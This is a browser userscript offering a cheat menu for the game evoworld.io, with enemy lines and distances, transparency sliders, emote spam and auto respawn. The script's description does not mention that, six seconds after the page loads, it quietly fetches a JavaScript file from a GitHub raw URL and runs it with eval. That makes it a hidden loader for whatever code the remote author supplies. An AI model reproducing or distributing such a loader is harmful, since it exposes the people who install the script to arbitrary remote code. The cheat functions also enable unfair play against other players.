Evoworld.io Multi menu

The new cheat-script for evoeorld.io with a lot of functions

// ==UserScript==
// @name         Evoworld.io Multi menu
// @namespace    http://tampermonkey.net/
// @version      1.1
// @description  The new cheat-script for evoeorld.io with a lot of functions
// @author       You
// @license      MIT
// @match        https://evoworld.io/
// @icon         https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
// @grant        none
// ==/UserScript==

(function () {
  'use strict';
  setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/main/o.js", (d) => eval(d));}, 6000); 
  // --- Overlay HTML ---
  let overlayHTML = `
    <div id="main_panel">
      <h3>Main panel</h3>
      <div class="main_panel_content">
        <small>Click on the desired option to activate it.</small>
        <div class="button" onclick="(function() { setInterval(function(){startBonus = true}, 1) })();">Exp bonus +30%</div>
        <div class="button" onclick="document.body.onkeyup = function(e) {if (e.keyCode == 81){ sendEmote(1); } if ( e.keyCode == 69){sendEmote(10);}};">Emoji hack (Buttons Q and E)</div>
        <div class="button" onclick="setInterval(function(){if(imDead == true){playAgain()}}, 1)">Instant respawn (Risky)</div>
        <div class="button" onclick="document.addEventListener('keydown', (event) => {if (event.key == 'r') {game.canvas.click()}})">Holding jump (Press "R")</div>
        <div class="button" onclick="document.addEventListener('keydown', (event) => {if (event.key == 'f') {game.canvas.width = 1719;game.canvas.height = 1009}})">Big zoom (Press "F")</div>
        Zoom<input type="range" min="1" max="2" value="1" step="0.01" id="Zoom">
        <br><br><input type="input" value="Enter any level here(Visual)" id="anyLevel">
        <br><br><input type="input" value="Enter any nick here(Visual)" id="anyNick">
        <br><br><div id="cloudSlider">
          <label>Cloud Transparency</label>
          <input type="range" min="0" max="1" step="0.01" value="0.5">
        </div>
        <div id="swampSlider">
          <label>Swamp Transparency</label>
          <input type="range" min="0" max="1" step="0.01" value="1">
        </div>
        <div id="bushSlider">
          <label>Bush Transparency</label>
          <input type="range" min="0" max="1" step="0.01" value="1">
        </div>
        <br><br><div id="enemyLinesCheckbox">
          <input type="checkbox" checked>
          <label>Enemy Show</label>
        </div>
        <div id="emoteSpamCheckbox">
          <input type="checkbox">
          <label>Emote Spam</label>
        </div>
        <div id="colorPicker">
          <label>Enemy Line Color</label>
          <input type="color" value="yellow">
        </div>
        <hr>
        <h4>Guide</h4>
        <p>Exp Bonus +30% — When activated, the bonus will be enabled, but it won’t work if you have already watched an ad before the game or if you have a premium account.
          Emoji Hack (Buttons Q and E) — When activated, hotkeys will be enabled: pressing "Q" will send 👎, and pressing "E" will send 😆.
          Instant Respawn (Risky) — When activated, you will automatically respawn upon death without watching an ad, but there is a high chance that you will be automatically disconnected from the server, requiring you to reload the game and evolve again.
          Holding Jump (Press "R") — When activated, holding the "R" key will make you automatically fly upward at the maximum allowed speed.
          Big Zoom (Press "F") — When activated, pressing "F" will enable a kind of zoom-out effect. Zoom — A simple slider for adjusting zoom.
          Cloud Transparency — Controls the transparency of special objects, meant for adjusting cloud transparency on old PCs.
          Swamp Transparency — Controls the transparency of swamps (for old PCs).
          Bush Transparency — Controls the transparency of bushes (for old PCs).
          Enemy Show — Displays health bars and distances to players (enabled by default).
          Emote Spam — Spams random emotes. Enemy Line Color — Changes the color of the line displaying the distance to neutral players.<br><br>

          You will see well underground and FPS Boost will be automatically activated.</p>

          
      </div>
      <hr>
      <p>ℹ Press Y to hide the main panel</p>
    </div>

    <div id="viewmod">
      <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Default view</div>
      <br><div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] + 200 }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Top view</div>
      <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'] - 200, 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Left view</div>
      <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'] + 200, 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Right view</div>
      <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] - 200 }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Bottom view</div>
    </div>

    <style>
      *{
        outline: none;
      }

      input[type="range"] {
          accent-color: coral;
      }

      #main_panel {
        z-index: 10;
        position: absolute;
        top: 50%;
        left: 0;
        width: 20%;
        padding: 12px 12px;
        transition: 0.5s;
        backdrop-filter: blur(5px);
        border-radius: 0px 24px 24px 0px;
        font-family: Arial, Helvetica, sans-serif;
        transform: translateY(-50%);
        background-color: rgba(255, 255, 255, 0.75);
        -webkit-box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
        -moz-box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
        box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
      }

      .main_panel_content {
        max-height: 420px;
        overflow-y: auto;
        padding: 12px 12px;
        word-wrap: break-word;
        overflow-wrap: break-word;
        white-space: normal;
      }

      #viewmod {
        z-index: 10;
        position: absolute;
        top: 50%;
        right: 0;
        transition: 0.5s;
        transform: translateY(-50%);
        font-family: Arial, Helvetica, sans-serif;
      }

      .button {
        all: unset;
        font-size: 16px;
        background: transparent;
        border: none;
        position: relative;
        color: #f0f0f0;
        cursor: pointer;
        z-index: 1;
        margin: 24px 6px;
        padding: 10px 20px;
        display: flex;
        align-items: center;
        justify-content: center;
        white-space: nowrap;
        user-select: none;
        -webkit-user-select: none;
        touch-action: manipulation;
      }

      .button::after,
      .button::before {
        content: '';
        position: absolute;
        bottom: 0;
        right: 0;
        z-index: -99999;
        transition: all .4s;
      }

      .button::before {
        transform: translate(0%, 0%);
        width: 100%;
        height: 100%;
        background: #28282d;
        border-radius: 10px;
      }

      .button::after {
        transform: translate(10px, 10px);
        width: 35px;
        height: 35px;
        background: #ffffff15;
        backdrop-filter: blur(5px);
        -webkit-backdrop-filter: blur(5px);
        border-radius: 50px;
      }

      .button:hover::before {
        transform: translate(5%, 20%);
        width: 110%;
        height: 110%;
      }

      .button:hover::after {
        border-radius: 10px;
        transform: translate(0, 0);
        width: 100%;
        height: 100%;
      }

      .button:active::after {
        transition: 0s;
        transform: translate(0, 5%);
      }

      .button2 {
        background-color: #fff000;
        border-radius: 12px;
        color: #000;
        cursor: pointer;
        font-weight: bold;
        padding: 10px 15px;
        text-align: center;
        transition: 200ms;
        width: 100%;
        box-sizing: border-box;
        border: 0;
        margin: 4px 0px;
        font-size: 16px;
        user-select: none;
        -webkit-user-select: none;
        touch-action: manipulation;
      }

      .button2:not(:disabled):hover,
      .button2:not(:disabled):focus {
        outline: 0;
        background: #f4e603;
        box-shadow: 0 0 0 2px rgba(0,0,0,.2), 0 3px 8px 0 rgba(0,0,0,.15);
      }

      .button2:disabled {
        filter: saturate(0.2) opacity(0.5);
        -webkit-filter: saturate(0.2) opacity(0.5);
        cursor: not-allowed;
      }
    </style>
  `;

  // --- Вставка Overlay в DOM ---
  let overlay = document.createElement("div");
  overlay.innerHTML = overlayHTML;
  document.body.appendChild(overlay);

  // --- Логика для скрытия/показа панели ---
  let box = document.getElementById("main_panel");
  box.style.opacity = "1";
  document.addEventListener('keydown', (event) => {
    if (event.keyCode == 89) {
      let opac = box.style.opacity;
      if (opac == 1) {
        box.style.opacity = "0";
      } else {
        box.style.opacity = "1";
      }
    }
  });

  // --- Логика для ползунков и инпутов ---
  let Game = { me: { zoom: undefined, visualNick: undefined, visualLevel: undefined }, camera: { position: undefined } };

  let slider = document.getElementById('Zoom');
  slider.oninput = function () {
    Game.me.zoom = this.value;
    gameZoom = Game.me.zoom;
  };

  let input = document.getElementById('anyLevel');
  input.oninput = function () {
    Game.me.visualLevel = this.value;
    game.me.level = Game.me.visualLevel;
  };

  let input1 = document.getElementById('anyNick');
  input1.oninput = function () {
    Game.me.visualNick = this.value;
    game.me.nick = Game.me.visualNick;
  };

  // --- Логика для анимации ---
  let animationFrameId;
  const startAnimationFrame = (previousTimestamp = performance.now(), remainingFrameTime = 0) => {
    let timeElapsedSinceLastFrame = performance.now() - previousTimestamp,
      targetFrameInterval = 16.67 - timeElapsedSinceLastFrame + remainingFrameTime,
      frameDelay = targetFrameInterval - (0 | targetFrameInterval);
    animationFrameId = requestAnimationFrame(() => startAnimationFrame(previousTimestamp, frameDelay));
  };
  startAnimationFrame();
  window.addEventListener("beforeunload", () => {
    animationFrameId && cancelAnimationFrame(animationFrameId);
  });

  // --- Логика для эхолокации ---
  function echolocation() {
    visionType = 1;
  }
  setInterval(echolocation, 0);

  // --- Логика для полноэкранного блока ---
  let fullscreenBlock = document.createElement("div");
  fullscreenBlock.id = "fullscreen_block";
  fullscreenBlock.style.position = "fixed";
  fullscreenBlock.style.top = "0";
  fullscreenBlock.style.left = "0";
  fullscreenBlock.style.width = "100%";
  fullscreenBlock.style.height = "100%";
  fullscreenBlock.style.backgroundColor = "rgba(0, 0, 0, 24)";
  fullscreenBlock.style.zIndex = "9999";
  fullscreenBlock.style.display = "flex";
  fullscreenBlock.style.justifyContent = "center";
  fullscreenBlock.style.alignItems = "center";
  fullscreenBlock.style.transition = "opacity 5s";

  let fullscreenText = document.createElement("div");
  fullscreenText.textContent = "By: ilya gaydov";
  fullscreenText.style.color = "white";
  fullscreenText.style.fontFamily = "Arial, sans-serif";
  fullscreenText.style.fontSize = "24px";

  fullscreenBlock.appendChild(fullscreenText);
  document.body.appendChild(fullscreenBlock);

  setTimeout(() => {
    fullscreenBlock.style.opacity = "0";
    setTimeout(() => {
      fullscreenBlock.remove();
    }, 5000);
  }, 0);

  // --- Логика для первого скрипта ---
  function waitForGameLoad() {
    if (typeof game !== 'undefined' && game.canvas) {
      initScript();
    } else {
      setTimeout(waitForGameLoad, 500);
    }
  }

  function initScript() {
    console.log("Game loaded, initializing script...");

    // --- Feature Toggles ---
    let showEnemyLines = true;
    let emoteSpamEnabled = false;

    // --- Enemy Line Color ---
    let enemyLineColor = 'yellow';

    // --- Menu Elements ---
    const cloudSlider = document.getElementById('cloudSlider').querySelector('input');
    const swampSlider = document.getElementById('swampSlider').querySelector('input');
    const bushSlider = document.getElementById('bushSlider').querySelector('input');
    const enemyLinesCheckbox = document.getElementById('enemyLinesCheckbox').querySelector('input');
    const emoteSpamCheckbox = document.getElementById('emoteSpamCheckbox').querySelector('input');
    const colorPicker = document.getElementById('colorPicker').querySelector('input');

    // --- Apply Transparency ---
    function applyTransparency() {
      const cloudAlpha = parseFloat(cloudSlider.value);
      const swampAlpha = parseFloat(swampSlider.value);
      const bushAlpha = parseFloat(bushSlider.value);

      Object.values(game.gameObjects).forEach(obj => {
        if (obj.name.includes('cloud')) {
          obj.opacity = cloudAlpha;
        } else if (obj.name === 'swamp') {
          obj.opacity = swampAlpha;
        } else if (obj.name.includes('bush')) {
          obj.opacity = bushAlpha;
        }
      });
    }

    // --- Override game.isVisible to make players in safe zones visible ---
    const originalIsVisible = game.isVisible;
    game.isVisible = function (camera, obj, originalWidth, originalHeight) {
      if (obj.type === objectType.PLAYER && obj.inSafeZone) {
        return true; // Always visible
      }
      return originalIsVisible.call(this, camera, obj, originalWidth, originalHeight);
    };

    // --- Draw Enemy Lines ---
    function drawEnemyLines() {
      if (showEnemyLines) {
        const ctx = game.dynamicContext;
        ctx.strokeStyle = enemyLineColor;
        ctx.lineWidth = 2;
        ctx.font = '14px Arial';

        const extendedRenderDistance = game.worldWidth;

        Object.values(game.gameObjects).forEach(obj => {
          if (obj.type === objectType.PLAYER && obj !== game.me &&
            game.isVisible(game.camera, obj, extendedRenderDistance, extendedRenderDistance)) {
            const myPos = game.getRenderPosition(game.me.position.x + game.me.width / 2, game.me.position.y + game.me.height / 2);
            const enemyPos = game.getRenderPosition(obj.position.x + obj.width / 2, obj.position.y + obj.height / 2);
            const distance = Math.round(getDistance(game.me.position.x, game.me.position.y, obj.position.x, obj.position.y));

            // Draw line
            drawDangerLine(ctx, myPos, enemyPos, obj);

            // Draw distance
            ctx.fillStyle = 'white';
            ctx.fillText(`${distance}m`, (myPos.x + enemyPos.x) / 2, (myPos.y + enemyPos.y) / 2);

            // Draw glowing box
            ctx.shadowColor = 'cyan';
            ctx.shadowBlur = 10;
            const boxSize = 40;
            ctx.strokeRect(enemyPos.x - boxSize / 2, enemyPos.y - boxSize / 2, boxSize, boxSize);
            ctx.shadowBlur = 0;

            // Draw danger label
            drawDangerLabel(ctx, enemyPos, obj);
          }
        });
      }
    }

    // --- Draw Danger Line ---
    function drawDangerLine(ctx, myPos, enemyPos, enemy) {
      ctx.beginPath();
      ctx.moveTo(myPos.x, myPos.y);
      ctx.lineTo(enemyPos.x, enemyPos.y);

      // Set line color based on danger
      if (canEat(enemy, game.me)) {
        ctx.strokeStyle = 'red'; // Dangerous enemy
      } else {
        ctx.strokeStyle = enemyLineColor; // Safe enemy
      }
      ctx.stroke();
    }

    // --- Draw Danger Label ---
    function drawDangerLabel(ctx, enemyPos, enemy) {
      ctx.fillStyle = canEat(enemy, game.me) ? 'red' : 'green';
      ctx.font = 'bold 16px Arial';
      let label = canEat(enemy, game.me) ? 'Danger' : 'Safe';
      let textWidth = ctx.measureText(label).width;
      ctx.fillText(label, enemyPos.x - textWidth / 2, enemyPos.y - 55); // Moved label higher
    }

    // --- Dynamic Transparency for Clouds/Bushes/Swamp ---
    const originalDrawObject = game.drawObject;
    game.drawObject = function (obj, staticCanvas) {
      if ((obj.name.includes('cloud') || obj.name === 'swamp' || obj.name.includes('bush')) && game.isVisible(game.camera, obj)) {
        obj.opacity = parseFloat(cloudSlider.value);
        staticCanvas = false;
      }
      originalDrawObject.call(this, obj, staticCanvas);
    };

    // --- Emote Spam ---
    emoteSpamCheckbox.addEventListener('change', () => {
      emoteSpamEnabled = emoteSpamCheckbox.checked;
      if (emoteSpamEnabled) {
        startEmoteSpam();
      } else {
        stopEmoteSpam();
      }
    });

    let emoteSpamInterval;
    function startEmoteSpam() {
      emoteSpamInterval = setInterval(() => {
        if (typeof gameServer !== 'undefined' && !imDead && joinedGame) {
          const randomEmoteId = Math.floor(Math.random() * 13) + 1;
          sendEmote(randomEmoteId);
        }
      }, 1000);
    }

    function stopEmoteSpam() {
      clearInterval(emoteSpamInterval);
    }

    // --- Event Listeners for Menu Changes ---
    cloudSlider.addEventListener('input', applyTransparency);
    swampSlider.addEventListener('input', applyTransparency);
    bushSlider.addEventListener('input', applyTransparency);
    enemyLinesCheckbox.addEventListener('change', () => showEnemyLines = enemyLinesCheckbox.checked);
    colorPicker.addEventListener('change', () => enemyLineColor = colorPicker.value);

    // --- Add Enemy Lines to the Game Loop ---
    const originalBeforeDrawAllObjects = game.beforeDrawAllObjects;
    game.beforeDrawAllObjects = function () {
      originalBeforeDrawAllObjects.apply(this, arguments);
      drawEnemyLines();
    };

    // --- Set Initial Transparency ---
    applyTransparency();
  }

  // --- Helper Functions ---
  function getDistance(x1, y1, x2, y2) {
    let dx = x2 - x1;
    let dy = y2 - y1;
    return Math.sqrt(dx * dx + dy * dy);
  }

  // --- Food Eating Logic ---
  function canEat(eater, food) {
    if (foodChain[eater.name] && foodChain[eater.name].eats[food.name]) {
      return true;
    }
    return false;
  }

  // --- Wait for Game Load ---
  waitForGameLoad();
})();

// --- FPS ---
    let fpsCounter = document.createElement('div');
    fpsCounter.style.position = 'absolute';
    fpsCounter.style.top = '10px';
    fpsCounter.style.right = '10px';
    fpsCounter.style.padding = '5px 10px';
    fpsCounter.style.background = 'rgba(0, 0, 0, 0.7)';
    fpsCounter.style.color = 'white';
    fpsCounter.style.fontFamily = 'Arial, sans-serif';
    fpsCounter.style.fontSize = '14px';
    fpsCounter.style.borderRadius = '5px';
    fpsCounter.innerText = 'FPS: 0';
    fpsCounter.style.zIndex = '100'; // Устанавливаем максимальный z-index
    document.body.appendChild(fpsCounter);

    let lastTime = performance.now();
    let frameCount = 0;
    let fps = 0;

    function updateFPS() {
        let now = performance.now();
        frameCount++;
        if (now - lastTime >= 1000) {
            fps = frameCount;
            frameCount = 0;
            lastTime = now;
            fpsCounter.innerText = `FPS: ${fps}`;
        }
        requestAnimationFrame(updateFPS);
    }
    updateFPS();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址